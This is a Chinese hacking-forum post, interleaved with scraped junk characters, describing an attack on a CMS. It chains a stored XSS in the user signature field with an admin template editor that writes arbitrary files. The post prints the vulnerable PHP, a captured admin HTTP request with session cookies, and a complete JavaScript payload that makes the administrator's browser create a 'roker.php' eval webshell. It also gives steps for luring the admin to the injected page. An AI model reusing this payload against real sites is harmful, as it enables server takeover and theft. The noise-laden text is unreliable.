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这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
2 N* E- Y$ ~; a1 H- p官网已经修补了,所以重新下了源码
+ w7 Q: K4 t- L& i- `2 Q因为 后台登入 还需要认证码 所以 注入就没看了。
6 P( d3 z1 @5 s7 C. m存在 xss
8 c& ?, s) F8 g1 j漏洞文件 user/member/skin_edit.php
5 u; j4 m Z" G本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名: E2 I6 T- j7 r( g6 x5 q
+ i, M! o' s0 N3 C# z* z</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
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</textarea></td></tr>
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user/do.php
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if($op=='zl'){ //资料
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& v1 Q$ _( G) \4 E$ d* _$ c6 l if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
% r7 n1 I$ J7 C- m1 n exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
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( L% y( _( X, }6 g& e $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."', v" D2 B6 J% r/ Z( o" P. f
/ n& K' U0 h1 T7 } CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
6 K+ G" ?$ J7 L7 j( F- N8 h" U where CS_Name='".$cscms_name."'";
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# d% j( e/ w( R4 Z& _- E7 R if($db->query($sql)){7 H- Y4 v* B8 s# J# T5 m. F
" D. ~% R& n$ Y7 |5 v( ? exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));% \% Y& s- Y( {) a
- r$ W# R* D5 V$ h }else{# V' g2 M+ a/ i. A/ F3 s4 i9 I
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exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
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}
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( B- H+ [) ^2 w4 e9 M% x% f' s没有 过滤导致xss产生。
3 D5 z& L, q+ ^; F( `后台 看了下 很奇葩的是可以写任意格式文件。。
$ \. y2 u& q9 c' Z抓包。。+ |5 J! B0 M6 ? H" G z
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本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1% ?, x3 Q+ L9 `7 o; q
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Accept: text/html, application/xhtml+xml, */*
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K9 E% a! d! rReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
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% u6 r- W- [% g6 K1 RAccept-Language: zh-CN. e2 f( x% k+ a: z* H9 f# A2 K( i% m& ]
1 h3 }( ^9 N `1 |User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)* T" U/ B q4 _1 Z' v/ @3 n
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Content-Type: application/x-www-form-urlencoded" Q) y* L8 f" ~& ?
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Accept-Encoding: gzip, deflate4 s/ n/ g/ I- `6 U# R
, |4 M( Y- g* }, @+ o# W; EHost: 127.0.0.1
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Content-Length: 388 ` V9 T" | y3 L8 j) O; m
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DNT: 1
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: p) V# y, k- |) k# P0 l5 ~1 W( OConnection: Keep-Alive
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Cache-Control: no-cache
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' |5 g0 c. |' y: X* g: Y3 `! KCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655944 w: {5 \( I3 M1 T1 T' R. |
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/ Y; V1 v5 k G1 W9 o9 Jname=aaa.php&content=%3Cs%3E%3Ca%25%3E* [6 E7 R v9 B; K0 W. ]5 f4 o
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4 z+ C4 r& Y Q. T" \* K于是 构造js如下。! \* Y$ k( n# Y, ~0 t
+ w% e9 c6 }& N2 Y8 ^" y4 h2 a本帖隐藏的内容<script>
?: T3 E- ~" H4 z/ o" ~8 n4 f* EthisTHost = top.location.hostname;# X; k3 p3 }* [" M
K0 M, ] E6 V1 Y# _thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
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+ z$ S# ~. n5 g: ^% tfunction PostSubmit(url, data, msg) { 1 |( W6 j. M, I& l0 X1 Z
var postUrl = url;
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3 w2 [% _4 A4 _5 W* z var postData = data;
) g! c+ K" T# x. V: s3 L var msgData = msg;
! m& H0 U( o" K6 U% ^6 u var ExportForm = document.createElement("FORM"); 8 p; S! N3 X6 G. S8 O
document.body.appendChild(ExportForm); 0 W) i& k9 k, E
ExportForm.method = "POST";
9 }" z& z& @ I) ` var newElement = document.createElement("input");
" _9 h; L+ z F% E- m newElement.setAttribute("name", "name"); 4 e/ ^- @1 x- k: H8 F& f# O$ q
newElement.setAttribute("type", "hidden");
, w. b; W# I+ S var newElement2 = document.createElement("input"); $ @1 s4 v M& Z
newElement2.setAttribute("name", "content"); " F3 W. K' Z2 B* ]% O
newElement2.setAttribute("type", "hidden"); 8 @- Q; n: I. c) m
ExportForm.appendChild(newElement);
! {( t. i- i8 w! W7 l ExportForm.appendChild(newElement2);
: e8 o$ p* p# i5 J% S newElement.value = postData;
1 N# ]5 Z2 l4 B, g newElement2.value = msgData;
( X2 X) K! e# h/ f% @ ExportForm.action = postUrl; : q) u2 V {+ N3 d% o
ExportForm.submit(); % _. W+ [7 W& `' [+ l }7 I
};3 }! {& I0 U4 R8 `
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PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
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</script>' Y. Q& P) C) b [
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http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
0 }6 h* O# ~2 q用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改). y+ ]: E' `3 ?- \4 o
就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
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